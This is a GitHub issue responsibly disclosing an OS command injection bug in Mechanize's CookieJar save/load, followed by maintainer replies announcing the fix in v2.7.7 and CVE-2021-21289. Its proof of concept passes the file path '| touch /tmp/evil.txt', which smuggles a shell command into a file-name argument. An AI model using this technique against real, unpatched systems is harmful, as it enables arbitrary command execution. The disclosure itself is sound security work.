Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

save/load in Mechanize::CookieJar has OS Command Injection #547

Closed
kyoshidajp opened this issue Jul 20, 2019 · 3 comments
Closed

save/load in Mechanize::CookieJar has OS Command Injection #547

kyoshidajp opened this issue Jul 20, 2019 · 3 comments

Comments

@kyoshidajp
Copy link
Contributor

@kyoshidajp kyoshidajp commented Jul 20, 2019

save and load of Mechanize::CookieJar accept | as a file path. It leads to OS Command Injection.

How to reproduce

PoC of save is the following.

require 'mechanize'

url = 'https://example.com/'

agent = Mechanize.new
page = agent.get(url)
login_form = page.forms[0]
login_form.field_with(name: 'email').value = 'xxx'
login_form.field_with(name: 'password').value = 'zzz'
page = login_form.submit

agent.cookie_jar.save('| touch /tmp/evil.txt')

Then, /tmp/evil.txt will be created. load is the same.

Environments

  • Mechanize: master branch
  • Ruby: MRI (ruby 2.4.4p296 (2018-03-28 revision 63013) [x86_64-darwin17])
@flavorjones
Copy link
Member

@flavorjones flavorjones commented Feb 1, 2021

See GHSA-qrqm-fpv6-6r8g for CVE assignment and public notice.

(That security advisory may not be public yet, but will be public once this fix is in a release.)

@flavorjones
Copy link
Member

@flavorjones flavorjones commented Feb 1, 2021

Will be fixed in v2.7.7 shortly

@flavorjones
Copy link
Member

@flavorjones flavorjones commented Feb 1, 2021

v2.7.7 has been released. Thank you again for reporting this! I've given you credit in the security advisory linked above. The CVE assigned is CVE-2021-21289.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

2 participants